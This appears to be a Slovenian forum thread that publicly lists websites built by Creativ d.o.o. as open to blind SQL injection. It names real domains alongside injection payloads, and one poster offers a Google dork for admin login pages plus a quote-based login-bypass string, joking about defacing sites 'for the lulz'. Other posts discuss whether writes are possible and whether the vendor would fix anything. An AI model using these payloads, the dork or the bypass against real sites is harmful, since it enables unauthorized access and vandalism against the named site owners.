Creativ d.o.o. - Vsaka stran, ki so jo naredili, ranljiva na isti SQLi

Gre se za blind SQL injection. Skoraj vse strani v referencah so ranljive. Zelo me cudi, da, ni se nobena defacana.

SQL injection na njihovi strani:
http://www.creativ.si/new/sl/reference....
http://www.creativ.si/new/sl/reference....

Par njihovih izdelkov in SQL injectioni:
http://www.univerza3-msobota.si/sl/page...
http://www.ris-dr.si/sl/page.asp?id_inf...
http://www.belbaluk.co.uk/balloons/news... and 1=1
http://www.evang-cerkev.si/sl/page.asp?... and (select top 1 id_informacija from informacija)

Ce ima kdo zeljo, naj poslje mail na info@creativ.si z linkom na to temo, ce se sploh kdo tam obstaja.

Ja, sej tko je, če štancajo spletne strani kot po tekočem traku.

Dejansko je potem vprašanje, če se da dajansko kakšno škodo naredit (injection se dela sam na select stavek), al je škoda sm na ugledu podjetja - to namreč, da so nesposobni.

p.s.: In če jim boš poslal mail, misliš da bodo kaj naredili? Kot prvo - CMS ni njihov (natürlich weil es in Deutsch ist), pa tudi če bi dobili popravek, misliš da bi šli vseh 100 strani popravljat in re-uploadat? Ne, jaz tudi mislim, da ne.

Google inurl:admin/login.php

tam nekje na 5. ali 6. strani se začne veselica z uporabo i' or 'i'='i kot login =)

Greš gor, napišeš "for the lulz" in je to to. Tvojih 5min slave.

Si prepričan, da je read only? Malo sem že pozabil ASP v povezavi z Access, vendar ponavadi lahko v izvedeš več SQL stavkov v eni poizvedbi.

pa kaj ti tabele pomagajo če ne moreš pisat v njih